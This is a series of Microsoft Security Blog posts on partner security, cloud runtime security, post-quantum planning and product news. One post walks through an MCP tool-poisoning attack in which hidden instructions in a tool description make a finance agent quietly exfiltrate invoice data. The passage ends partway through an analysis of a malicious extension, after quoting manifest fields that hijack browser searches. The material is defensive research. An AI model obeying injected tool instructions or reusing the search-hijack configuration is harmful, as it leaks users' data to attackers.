The Deputy CISO blog series is where Microsoft  Deputy Chief Information Security Officers (CISOs) share their thoughts on what is most important in their respective domains. In this series, you will get practical advice, tactics to start (and stop) deploying, forward-looking commentary on where the industry is going, and more. In this article, Raji Dani, Vice President and Deputy CISO for Microsoft business functions, finance, and marketing dives into the importance of securing customer service solutions.

Following up on our previous post about managing risk in customer support operations, I wanted to share insight into how we manage the potential risk associated with another critical element of our ecosystem: Microsoft partners that we work with to help our customers deploy and manage some of our products.

While organizations often rely on a wide range of partners, including hardware suppliers and application developers, this post focuses on a specific category of trusted partners that many enterprises use to manage and maximize the value of their technology investments. For Microsoft, these partners are Microsoft Cloud Solution Providers (CSPs), and they help customers buy, manage, and optimize cloud services like Microsoft 365 and Microsoft Azure.

Like many organizations, Microsoft has a strong partner network that is a core part of the success of its services. Partners play a critical role in reaching and enabling broad customer segments and are core to our commercial business and go-to-market strategy. It’s therefore critical that we understand and manage risk in this space. This helps us ensure that the Microsoft partner ecosystem remains healthy, compliant, and effective, and ultimately helps drive the best outcomes for our customers. Keep reading to learn about the approach we have taken at Microsoft to secure this ecosystem, along with our roadmap for upcoming work in this space.

The risks facing partner ecosystems

As with the other business areas we have written about, the risks here are not theoretical. Threat actors, including nation-states, look to exploit partners as a vector to attack customers. Microsoft relies on its partners to engage deeply with customers across multiple scenarios. Cyberattackers in turn see this as a potential opportunity to exploit those customers through the infrastructure and platforms used by Microsoft partners.

CSPs often manage a large set of downstream customers, which means compromise of a CSP can have a large impact.

If not securely configured, a cyberattacker with access to a CSP’s tenant could potentially gain access to a broad set of customers managed by that CSP. As a result, CSPs can become targets of cyberattackers looking to steal large quantities of customer data or compromise customer resources in Azure. Again, these risks are not theoretical. We have seen nation-state attackers target our CSPs with this exact goal in mind.

This is a particularly challenging problem because securing this ecosystem depends on work taken on by both Microsoft and its partners. Microsoft provides the platforms that CSPs use to operate, while each partner manages their own tenants used for CSP operations. We need to ensure every element of this space is secure, since threat actors can exploit weaknesses in any part of the ecosystem.

How Microsoft secures its partner ecosystem

As with other key business areas, it is the goal of Microsoft to enable business success while managing risk. In the CSP scenario, this means building strong protections into the platforms that our CSPs depend on, enabling robust visibility into potential misuse of those platforms, and working with our CSPs to continually raise security standards within their own environments.

We continue to invest in strengthening security in this space at Microsoft. Our approach is guided by a set of core principles that can be applied broadly across partner ecosystems, helping organizations reduce risk and improve resilience. The following sections outline these principles and how Microsoft is implementing them in practice.

1. Partner vetting

Before an organization can begin operating as a CSP, it goes through a vetting process ensuring its validity. This process verifies the identity of the organization and ensures that it legitimately intends to operate as a CSP. This complements the work we are doing to improve CSP security posture. Partner vetting helps ensure that only legitimate organizations can enter the ecosystem, while CSP security posture improvements help enhance the operating standards of organizations already in the ecosystem. We continue to enhance these vetting capabilities based on an understanding of threat intelligence and cyberattacker trends.

2. Enhancing security posture of CSP tenants

Security in the CSP ecosystem is a shared responsibility, with Microsoft enforcing controls at the platform and control plane layer through mechanisms like granular delegated administrative privileges (GDAP), while CSPs are responsible for maintaining the security posture of their tenants. To reduce the risk of tenant compromise and limit negative downstream effects on customers, we have evolved CSP authorization to incorporate mandatory security requirements as a condition for obtaining and retaining authorization. This establishes a clear expectation that maintaining a strong security posture is not optional, but a prerequisite for operating as an authorized CSP.

As the threat landscape continues to evolve, we will periodically reassess the expectations associated with CSP authorization to ensure they remain aligned with the risks facing the ecosystem. This may, over time, result in refinements to the security baseline we define for our partners. We will continue to collaborate closely with our partners to maintain clarity and alignment as these expectations evolve.

3. Least privilege for access to downstream customers

CSPs require access to customer environments to perform their management operations. But this does not mean that a CSP needs unfettered access to those customer environments. Instead, access from a CSP to a customer tenant should follow the principles of least privilege and have strong role-based access control (RBAC). Access should only be granted with customer consent and should be constrained both in terms of scope and duration. The GDAP protocol enables CSPs to manage downstream customers based on these principles.

As part of this access control principle, we have built capabilities that allow internal Microsoft security teams to rapidly revoke a CSP’s GDAP access to customers when required. This capability can be used in a range of scenarios, including incident response, changes in partner status, or termination of a partner relationship. It helps ensure that access can be quickly withdrawn and contained when risks are identified, limiting potential impact to downstream customers.

4. Strong monitoring and response capabilities throughout the stack

Microsoft is responsible for providing strongly secured common platforms and key to that promise is robust telemetry, monitoring, and incident response capabilities across those platforms. We collect a high volume of diverse telemetry signals from across our platforms and analyze them to detect suspicious activity. This enables our security response teams to quickly identify and respond to CSP-targeting threats that arise from our platforms. Containing risk in this way is an important reason that Microsoft reserves the right to revoke a CSP’s GDAP access to downstream customers when required.

In short, we have made a set of improvements to the security posture across the CSP ecosystem, both at the Microsoft platform layer and at the partner tenant layer. Like all other areas of security, our work here is never completely done. We plan to continually enhance security across all of these areas as we learn more about cyberattacker trends and risks to the ecosystem.

Protecting partners and customers means protecting the ecosystem

The key lesson here remains that the platforms we provide to partners cannot be an afterthought when it comes to security. Even though these partner platforms are not directly part of the product or service infrastructure we maintain, Microsoft must treat them just like it does its “core” infrastructure. Cyberattackers do not care whether a given system is considered internal or marked for external use. If it gives them a way to achieve their goals (in this case the compromise of customers) they will look to exploit it.

This applies broadly to any organization working with partners. As the provider of a partner platform, there is a responsibility to protect both partners and customers by ensuring these platforms meet the highest security bar, and that is what we at Microsoft are working diligently to do.

Microsoft
Deputy CISOs To hear more from Microsoft Deputy CISOs, check out the OCISO blog series:

To stay on top of important security industry updates, explore resources specifically designed for CISOs, and learn best practices for improving your organization’s security posture, join the Microsoft CISO Digest distribution list.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Improving security posture across the Microsoft partner ecosystem appeared first on Microsoft Security Blog.

Cloud security is shifting from visibility to contextual risk reduction, extending into the applications, APIs, and workloads where attacks actually occur. Because modern workloads are built and run in the cloud, security teams must understand which exposures matter most, prioritize what can truly be exploited, and reduce risk across the full stack from infrastructure to application runtime.

As organizations expand across multicloud and hybrid environments, they adopt modern architectures built on containers, Kubernetes, microservices, APIs, and AI-powered workloads. This increases both the volume and interconnectedness of security signals. The challenge is no longer identifying individual risks, but determining how vulnerabilities, identities, and data exposures combine across infrastructure and the applications running on it to create real attack paths, and which of these are most critical to fix at the source. Effective risk reduction depends on understanding which of these paths are actually reachable and exploitable in a live environment.

Frost & Sullivan’s 2026 Frost Radar™ for Cloud/Application Runtime Security (CARS) reflects this shift. The report highlights how cloud security is evolving from a collection of posture and workload capabilities into a unified runtime risk operations model, correlating signals across code, cloud, runtime, applications, and security operations center (SOC) workflows to prioritize and reduce risk continuously.

Read the full Frost Radar report

Within this evolving market, Microsoft is positioned as a visionary leader because of the scale of its hyperscale ecosystem, operational breadth of Microsoft Defender for Cloud when integrated with Microsoft Defender XDR, and large customer base. That recognition reflects where the category is heading: toward platforms that connect cloud and application security into one operational view of risk.

Why cloud security is being redefined

The Frost Radar makes a clear point: cloud security is no longer about visibility or compliance alone. It is becoming an operational discipline for reducing risk across the full runtime—from cloud infrastructure to the application code executing on top of it.

Modern environments introduce complexity across:

• Multicloud and hybrid infrastructure.
• Rapid development and continuous deployment.
• Containers, serverless, microservices, and APIs.
• AI-powered workloads, agents, and machine identities.

This complexity exposes the limits of traditional, siloed tools—where cloud posture, workload protection, and application security each live in their own console. Organizations now need platforms that can:

• Correlate posture, runtime, identity, data, and application signals.
• Prioritize risk based on exploitability—not severity alone.
• Integrate security across development, cloud operations, and the SOC.
• Validate whether a vulnerability is actually reachable inside a running application.

This is the shift the report describes: from detecting issues to operationalizing risk reduction across the lifecycle—and across both cloud and application layers.

What distinguishes leading platforms

Frost & Sullivan evaluates providers on growth and innovation—but, more importantly, on how effectively they help organizations manage real risk. Five themes define the next generation of platforms:

1. Platform unification over point solutions.
2. Code-to-cloud-to-SOC integration.
3. Risk prioritization based on exploitability.
4. Correlation across identity, data, cloud, and application context.
5. Expansion into AI-powered workloads.

Taken together, these capabilities represent a move from fragmented visibility to connected, contextual risk management that spans cloud detection and response (CDR) and application detection and response (ADR)—the two halves the market is converging into a single runtime fabric.

How Microsoft help organizations manage real risk 1. Connect signals to prioritize real attack paths

Most security tools surface large volumes of findings across cloud infrastructure and applications, but isolated findings do not reflect how cyberattacks actually happen. Threat actors exploit how misconfigurations, excessive permissions, and data exposure combine to create a path to critical assets.

Microsoft Defender for Cloud correlates posture, identity, data, and runtime signals to identify which risks are truly exploitable. A misconfigured storage resource on its own may appear low priority. However, when it is exposed to the internet, combined with excessive access permissions, and connected to sensitive data, it becomes part of a clear attack path that can be used to compromise the environment.

What this means: Security teams can prioritize real attack paths instead of individual findings, helping to reduce alert fatigue and improve remediation speed and precision.

Get started with Microsoft Defender for Cloud 2. Continuously validate and act on risk across the lifecycle

Security needs to operate continuously across development, runtime, and operations, spanning both the application and the cloud environment it runs in. Defender for Cloud connects insights across code and infrastructure definitions, cloud configuration and runtime context, application and API layers, and security operations workflows through Defender XDR.

A vulnerability identified before deployment can be tracked through to runtime, where it is evaluated in the context of the running environment and surfaced in security operations if it is determined to be exploitable.

What this means: Organizations can continuously validate risk and respond more effectively by connecting development, cloud environments, and security operations.

3. Reducing complexity across fragmented cloud and application security workflows

As environments scale, fragmented tools and workflows make it difficult to understand how risks connect and where to focus first. When cloud infrastructure and application security are managed separately, investigation becomes slower and more manual.

Defender for Cloud helps bring these signals together in a single investigative flow, where risks can be analyzed across configuration, runtime context, application behavior, and identity exposure.

Instead of switching between separate tools, security teams can investigate a single incident across its initial misconfiguration, runtime impact, application behavior, and identity exposure, a more connected experience.

What this means: Security teams can investigate faster, prioritize risk more efficiently, focus on what matters most, and respond more quickly across fragmented cloud and application environments.

What this signals for security leaders

The Frost Radar offers a signal for where cloud security is headed: toward platforms that connect context across cloud and application environments so teams can prioritize the risks most likely to be exploited and reduce exposure faster. Security leaders should now ask:

• Can the platform correlate signals across identity, endpoints, data, cloud, runtime, and applications?
• Does it span the full code-to-cloud lifecycle—and reach into the SOC?
• Can it prioritize risk based on exploitability—not just severity?
• Does it bring cloud detection and response together with application detection and response?
• Can it scale across multicloud and AI environments?

These are the capabilities that define the next generation of cloud and application runtime security.

Bottom line

Frost & Sullivan’s 2026 CARS analysis reinforces a clear shift: cloud security is moving from fragmented visibility to unified, contextual risk management across the entire lifecycle—and across both the cloud and the application layer.

Microsoft’s position as a visionary leader in the Frost Radar reflects this shift—bringing together posture, runtime, identity, endpoints, data, and application signals into a connected platform that helps organizations prioritize and reduce risk continuously.

Get the full Frost Radar report Learn more

• Read Frost & Sullivan’s 2026 Frost Radar™ for Cloud/Application Runtime Security to see how leading vendors are evaluated—and how the category is shifting toward unified cloud and application runtime risk operations.
• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Microsoft named a leader in the Frost Radar for cloud and application runtime security appeared first on Microsoft Security Blog.

The quantum-safe timeline has changed

For years, planning for post-quantum cryptography (PQC) was framed as a future problem: important, inevitable, but distant. That perspective is evolving as technology advances and organizations prepare for the scale and complexity of the transition ahead. At Microsoft, we are acting on this shift by bringing our quantum-safe timeline forward so organizations can begin the transition earlier and with greater confidence.

Advances in quantum research and development have shifted the risk horizon. We believe cryptographically relevant quantum computers could arrive sooner than previously expected—and the work required to prepare is significant so organizations need to start now.

Recent government actions, including United States1 and French2 guidance to adopt quantum-safe cryptography as early as 2030 in certain high-risk systems, reflect the same conclusion: preparing for this transition is already underway.

This is a recognition that the transition to quantum-safe cryptography is a multi-year engineering effort that benefits from early planning and action, and delaying that work increases both cost and risk. This reinforces our decision to bring the work forward.

The quantum capabilities are accelerating. The time to respond is now.

Learn more about post-quantum cryptography Accelerating our timeline

In response to these shifts, we are accelerating the Microsoft Quantum Safe Program (QSP) timeline with the goal of transitioning critical products and services to PQC by 2029.

We are also incorporating PQC requirements into our Secure Future Initiative (SFI). This brings quantum-safe readiness into the same disciplined engineering framework we use for other critical security outcomes: clear ownership, measurable milestones, and transparent progress. Embedding these capabilities into our platforms empowers customers to move sooner and more confidently.

What “accelerating” means in practice

Accelerating our timeline means pulling forward key engineering work so new standards can be adopted earlier and modernization can begin well ahead of broad quantum impact.

Our priorities fall into three areas:

1. Upgrade network cryptography (data in transit)

Modernizing network cryptography is a prerequisite for post-quantum adoption. As an example, adopting TLS 1.3 establishes a baseline that enables hybrid and post-quantum key exchange as standards mature.

What this looks like: Critical endpoints negotiate TLS 1.3 by default, with legacy protocol use reduced or eliminated wherever possible.

2. Build crypto-agility for stored data (data at rest)

Crypto-agility—the ability to change cryptography without redesigning systems—enables the safe, timely adoption of new cryptographic standards. This requires making cryptographic settings configurable outside of the application, standardizing key management and rotation, and eliminating hard-coded algorithms.

What this looks like: Cryptographic algorithms can be updated with minimal application changes and limited service disruption. You can learn more about crypto-agility here. 

3. Modernize cryptographic trust chains (identity, signing, certificates)

The most complex work is securing the chains of trust that underpin software, devices, and services at scale. That includes code signing, certificate issuance, key protection, and update pipelines.

What this looks like: This includes hardware-backed key protection, updated certificate lifetimes and policies, and auditable signing and issuance processes for critical trust anchors, with a transition to PQC algorithms as they become available.

What this means for our customers

Accelerating the timeline doesn’t change the core challenge: for most organizations, the hardest part isn’t selecting post-quantum algorithms. It’s understanding and updating where cryptography already exists across apps, services, networks, identities, certificates, and hardware.

Bringing this work forward means Microsoft can help organizations begin that process sooner, starting with an inventory-first approach to identify, prioritize, and modernize cryptographic dependencies with greater confidence.

We will continue to share technical guidance and operational best practices to help organizations adopt quantum-safe cryptography with confidence as they move from planning into execution.

Microsoft moving earlier allows organizations to align to that same timeline, one that reduces risk while maintaining operational continuity.

What we are hearing from customers and partners

Across industries and regions, organizations are already taking steps, with several consistent themes emerging:

• The future of security is agile and the transition is iterative.

Organizations are designing for change. Building crypto‑agility into systems delivers long-term resilience so new cryptography standards can be adopted over time without redesigning systems.

• Long-lived, sensitive data requires earlier protection.

Organizations are prioritizing data with long confidentiality lifetimes, recognizing that encrypted data captured today could be exposed in the future (“harvest now, decrypt later”) as cryptographic capabilities evolve.

• Preparation delivers immediate value.

Organizations that begin with cryptographic discovery and lifecycle management consistently uncover existing gaps that require attention today, independent of quantum risk.

• The hardest problem isn’t quantum—it’s complexity.

Most organizations lack clear visibility into where cryptography exists across applications, infrastructure, and legacy systems, making discovery and prioritization the primary challenge.

These signals shape how we are approaching quantum safety at Microsoft and how we support and empower all organizations in their readiness.

What to do now

Organizations do not need to wait; there are steps you can take today to begin the transition:

• Align on strategy: Define ownership, scope, and milestones for a multi-year cryptography transition.
• Design for change: Build crypto-agility into new systems so future standards shifts are updates, not fire drills.
• Begin with inventory: Create and maintain a living cryptographic inventory to identify, prioritize, and modernize dependencies.
• Modernize protocols: Adopt modern standards such as TLS 1.3 as a baseline across client and server systems.

Looking ahead

The Microsoft Quantum Safe Program (QSP) goes beyond future cryptography. It is part of a broader effort to strengthen long-term resilience across identity, infrastructure, data, and supply-chain security—bringing this work into the systems and platforms organizations rely on daily.

Our goal is straightforward: ensure that Microsoft platforms and services can adopt new cryptographic standards quickly and safely as they mature, so organizations can move at the same pace without disrupting their operations.

Microsoft will continue to share progress and practical guidance to help organizations plan, prepare, and move into execution as standards and cyberthreats evolve. By starting now, organizations can reduce risk today and be better prepared for what comes next.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Securing the nation against advanced cryptographic attacks, whitehouse.gov. June 22, 2026.

2France to stop certifying products without quantum-safe encryption, Reuters. June 16, 2026.

The post Accelerating the quantum-safe timeline appeared first on Microsoft Security Blog.

As organizations scale AI and agents across environments, security teams need protection that covers every surface. The Microsoft vision is simple: security should be ambient and autonomous, just like the AI it protects. This month’s updates help security and IT teams strengthen identity and multicloud foundations, protect data wherever it lives, and secure the developer workflows powering AI innovation. Here’s what’s new:

Codename MDASH helps teams discover and remediate complex vulnerabilities

Codename MDASH is a multi-model agentic scanning system designed to discover, validate, and help remediate software vulnerabilities across complex environments. MDASH orchestrates a panel of specialized AI agents that reason through proprietary code and systems, helping security teams surface elusive vulnerabilities quickly and systematically. For example, when security teams use MDASH to scan a complex application, it can identify and validate a previously undetected vulnerability in the underlying code and systems, and route it into Microsoft Defender workflows and engineering pipelines for remediation. This closed loop connects discovery, validation, and remediation across the Microsoft stack. Sign up to follow codename MDASH and join the private preview to surface and validate hard-to-find vulnerabilities with multi-model AI.

Join the codename MDASH private preview Microsoft Defender extends endpoint protection to local AI agents

Microsoft Defender now discovers more than 25 types of local AI agents and Model Context Protocol (MCP) servers across managed Windows and macOS devices. Defender also protects at runtime: if a developer using a popular coding agent like GitHub Copilot Command-Line Interface (CLI) or Claude Code is targeted by a prompt injection attempts, Defender detects and blocks it before the malicious action executes. From there, security teams can investigate agent exposure across their environment with Advanced Hunting. These capabilities are now in preview.

Microsoft Entra Backup and Recovery restores critical identity data

Microsoft Entra Backup and Recovery is now generally available, delivering Microsoft-managed, always-on backups native to your environment that are protected from deletion or modification. Security teams gain clear visibility into what changed across their tenant and can back up core directory objects, compare and restore to previous timestamps, and configure Conditional Access policies to protect against permanent deletion. Together, these capabilities protect your tenant, helping you minimize downtime and recover quickly from accidental changes and security compromises. Strengthen identity resilience with rapid recovery capabilities in Microsoft Entra.

Microsoft Defender protects open-source relational databases on AWS RDS

Microsoft Defender for Cloud now extends database threat protection to open-source relational databases on Amazon Web Services (AWS) Relational Database Service (RDS). Now generally available, built-in threat detection identifies anomalous access patterns and brute-force attempts, while automated sensitive data discovery helps teams understand where high-risk data resides. These insights, combined with integrated investigation across Microsoft Defender, help teams prioritize and respond to database risks more effectively. Detect threats and discover sensitive data across Azure and AWS with Microsoft Defender.

Greater flexibility over data security insights with Microsoft Purview customizable reports

Microsoft Purview customizable reports, now generally available in Data Security Posture Management (DSPM), give teams greater control and flexibility to tailor reporting views, analyze trends, and quickly surface the insights that enable faster, more informed decisions. Choose from out-of-the-box reports or create custom reports tailored to your organization’s specific needs, with easy options to export and share insights across teams and stakeholders. For example, security teams can create role-specific reports that highlight high-risk data exposure trends to guide policy decisions. Learn how to customize reporting experiences to uncover your critical data security insights.

Broader visibility with expanded multi-cloud coverage in Defender for Cloud

Microsoft Defender for Cloud is expanding multicloud coverage and visibility across AWS and Google Cloud, adding support for approximately 90 additional resource types and more than 200 new security recommendations. Security teams can better understand their attack surface with broader visibility across cloud-native applications, identities, data services, and workloads. Across multicloud environments, teams can better assess security posture and prioritize remediation based on exposure context, compliance posture, and business criticality to reduce risk more effectively. Gain broader visibility and prioritize risk across multicloud environments with Defender for Cloud.

Prioritize risk with unified identity risk score

A new unified identity risk score combines signals from across Microsoft Security into a single, explainable measure of an identity’s risk. It brings together behavior, access patterns, and threat intelligence for all related accounts, sessions, and applications to provide a complete view of risk. The moment an identity acts suspiciously, the score helps your team cut through the noise, prioritize what’s urgent, and can automatically trigger Conditional Access policies to enforce protection at the point of access. Prioritize identity risk and enforce protection in real time with the new unified identity risk score.

Security innovations purpose built for developers

To help developers secure code, agents, and models while giving security teams consistent visibility and control from development through runtime, Microsoft is integrating security into the tools and platforms developers already use. Organizations can use the new security tools and capabilities announced at Microsoft Build 2026 to innovate faster and scale AI adoption without sacrificing security. Read more about the Build 2026 security announcements.

Stay In the Loop

Microsoft Security continually ships meaningful innovations across our portfolio and research-driven insights and reports for the security community. In the Loop posts are your reliable source of what’s new across Microsoft Security and what it means for your security strategy. Check back for the next drop.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​What’s new in Microsoft Security: June 2026 appeared first on Microsoft Security Blog.

In this article

1. From reading to acting
2. Attack pattern: MCP tool poisoning in a finance workflow
3. Mitigation and protection guidance
4. References
5. Learn more

As enterprise deployments mature, some enterprise AI agents are shifting from reading content to taking action. In this post, Microsoft Incident Response walks through an attack pattern that targets the fastest growing part of the agentic AI supply chain: Model Context Protocol (MCP) tools. The post provides a practical playbook for detecting, containing, and preventing this class of attack using Microsoft security controls.

From reading to acting

This is the third post in the AI Application Security series. AI Application Series 1: Security considerations when adopting AI tools examined how AI adoption expands the enterprise attack surface. AI Application Series 2: Detecting and analyzing prompt abuse in AI tools showed how indirect prompt injection can bias the output of a passive AI summarizer. In both cases, the AI only read content and produced text, it did not take action. This post addresses what happens when that boundary changes.

AI agents can plan multi-step tasks, decide which tools to invoke, and execute actions on behalf of the user. Microsoft 365 Copilot can draft and send email, create documents, and update calendar entries. Copilot Studio and Azure AI Foundry allow organizations to build custom agents that connect to business systems through MCP. As AI is increasingly used in read-write workflows, the impact profile of vulnerabilities may shift. A prompt injection against a summarizer can bias an output. A prompt injection against an agent can trigger an action.

According to the International Data Corporation (IDC), the number of active AI agents in enterprises is projected to grow from 28.6 million in 2025 to more than 2.2 billion by 2030. That scale is why the OWASP Top 10 for Agentic Applications, released in December 2025, now sits alongside the LLM Top 10 as a reference framework for defenders. This post focuses on one of its fastest-moving categories: tool misuse and agentic supply chain risk exploited through poisoned MCP tool metadata.

Attack pattern: MCP tool poisoning in a finance workflow

The pattern below maps to ASI02 – Tool Misuse and ASI04 – Agentic Supply Chain Vulnerabilities. It reflects techniques first disclosed by Invariant Labs in April 2025 and observed in 2026 against a growing range of enterprise agents.

The environment

A financial operations team builds a Copilot Studio agent to help analysts handle vendor invoices. The agent has generative orchestration enabled and connects to three tools: a Dataverse MCP server holding the approved vendor master, an Outlook connector for vendor correspondence, and a third-party invoice enrichment MCP server added to validate banking details against an external reference database. The third-party server is reviewed by the team’s service owner lead and approved for production use. No separate security review is performed.

Attack chain overview

Phase 1: Tool description poisoning. A developer pushes an update to the enrichment server. The tool name and user-facing summary remain unchanged, but the MCP tool description is silently modified. This description is the natural-language metadata the agent reads to decide how and when to call the tool. Buried within what appears to be legitimate formatting guidance is a hidden block of instructions directing the agent to retrieve the last thirty unpaid invoices, summarize them, and attach that summary as an additional parameter in the enrichment call—framed as a fraud-heuristic requirement.

Phase 2: Silent re-trust.The MCP reflects tool metadata updates dynamically. In configurations where description changes do not trigger a re-approval workflow, the updated instructions become active without additional review. The poisoned description is live in production.

Phase 3: User invocation. A financial analyst asks the agent a routine question about a supplier. Without any visible indication, the agent follows the hidden instructions embedded in the poisoned tool description, collecting sensitive financial records beyond the scope of the original request and forwarding them as part of the enrichment call, as if it were a normal part of the request.

Phase 4: Exfiltration. The enrichment server returns a plausible “validated” response and silently logs the attached invoice summary to a threat actor-controlled endpoint. The analyst sees a clean answer. No alert may fire in default configurations. Every individual action the agent took was within its normal operating parameters. This pattern does not exploit a vulnerability in Copilot itself, but rather a trust boundary introduced by external tool integrations.

Figure 1:Attack flow for MCP tool poisoning of a Copilot Studio agent, with Microsoft controls mapped to each stage. Why this pattern is effective

Each action the agent takes on its own is legitimate. The tool is approved, the Dataverse query inherits the analyst’s permissions, and the outbound call goes to a server that was allowlisted when it was added. The vulnerability is not in any single system; it is in the trust boundary between them.The MCP blends instructions (tool descriptions) with data, so a change to a tool’s metadata can redirect the agent’s behavior as effectively as a change to its system prompt. The agent cannot distinguish between a legitimate instruction authored by its owner and a malicious instruction inserted by an upstream maintainer.

Mitigation and protection guidance Detection and response with Microsoft security tools

The controls mapped in Figure 1 apply at four points in the attack chain, each supported by a specific Microsoft capability:

• Govern the supply chain. Maintain a tenant-level allowlist of approved MCP publishers and servers. The Microsoft MCP catalog provides a list of first-party servers, review and assess where provenance is verifiable. Disable Allow all on MCP connections and enable only the specific tools an agent needs.
• Inspect tool metadata. Use Prompt Shields in Azure AI Content Safety to inspect content flowing from MCP tool responses and descriptions into agent context. Defender for Cloud’s AI workload protection alerts on suspicious prompts and tool outputs at runtime. Review metadata changes to production tools with the same rigor as changes to system prompts.
• Guard the action. Microsoft Purview Data Loss Prevention (DLP) policies inspect tool call parameters and can block sensitive data in outbound payloads. For high-impact actions such as financial data access, external sharing, or account changes, configure human-in-the-loop approval through Copilot Studio. Assign each agent a non-human identity in Microsoft Entra Agent ID and apply Conditional Access to its workload identity.
• Correlate the chain. When MCP server telemetry is instrumented and forwarded to Microsoft Sentinel, it can be correlated against agent behavior signals to flag anomalous sequences. Microsoft Defender for Cloud Apps surfaces new external endpoints an agent has started interacting with. Microsoft Purview audit logs provide the evidence trail for investigation and post-incident review.

Three principles for agent supply chain governance

Treat every MCP server as part of the supply chain. Every MCP server an agent can call is a production dependency. Maintain an inventory of approved publishers, review tool descriptions during security review rather than relying on tool names alone, and require a documented owner for any third-party server before production use.

Treat tool descriptions as system prompts. Because models can read tool metadata as part of their working context, a change to that metadata is equivalent to a change in agent instructions. Require change review for tool description updates on critical agents and use Prompt Shields to inspect metadata for imperative language that does not belong in a documentation field.

Apply least agency, not just least privilege. There are important factors to consider for permissions. Even a minimally permissioned agent can cause harm if it has too much autonomy. Turn off Allow all tool access, require human approval for high-impact actions, and establish baseline agent behaviors in Microsoft Sentinel so that deviations from the norm—such as new endpoints, expanded parameters, or unusual query patterns—trigger alerts.

Conclusion

Agents that act on behalf of users depend on a supply chain of tools that is growing as governance programs continue to evolve. A threat actor who modifies a tool description may influence agents that rely on it, even without directly involving a user, a prompt, or a credential. The OWASP Top 10 for Agentic Applications provides the framework.

Microsoft security capabilities—including Copilot Studio guardrails, Prompt Shields, Defender for Cloud AI Protection, Microsoft Entra Agent ID, Microsoft Purview DLP, Microsoft Defender for Cloud Apps, and Microsoft Sentinel—provide the controls. What remains is to apply them deliberately to agentic workflows: scope permissions, govern the tool supply chain, monitor agent behavior, and perform red teaming exercises before deployment.

References

• IDC FutureScape 2026 Predictions Reveal the Rise of Agentic AI and a Turning Point in Enterprise Transformation. IDC (accessed 2026-06-03)
• OWASP GenAI Security Project Releases Top 10 Risks and Mitigations for Agentic AI Security. OWASP Gen AI Security Project (accessed 2026-06-03)
• MCP Security Notification: Tool Poisoning Attacks. Invariant Labs (accessed 2026-06-03)

Microsoft follows coordinated disclosure practices and is not disclosing details of any specific affected organization.

This research is provided by Microsoft Defender Security Research, Mohammed Zaid, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Securing AI agents: When AI tools move from reading to acting appeared first on Microsoft Security Blog.

In this article

1. Extension overview
2. Key indicators of malicious behavior
3. Dynamic analysis findings
4. Mitigation and protection guidance
5. References
6. Learn more

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

AttributeValueExtension nameSearch for perplexity aiExtension IDflkebkiofojicogddingbdmcmkpbplcdManifest versionMV3Version2.2Observed purposeBrowser search override and redirect logicReferenced brandPerplexity AISuspicious domainperplexity-ai[.]online

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Figure 1: Landing page of perplexity-ai[.]online. Figure 2: Details of the extension on Chrome Store.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": { "name": "Perplexity Search" }

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

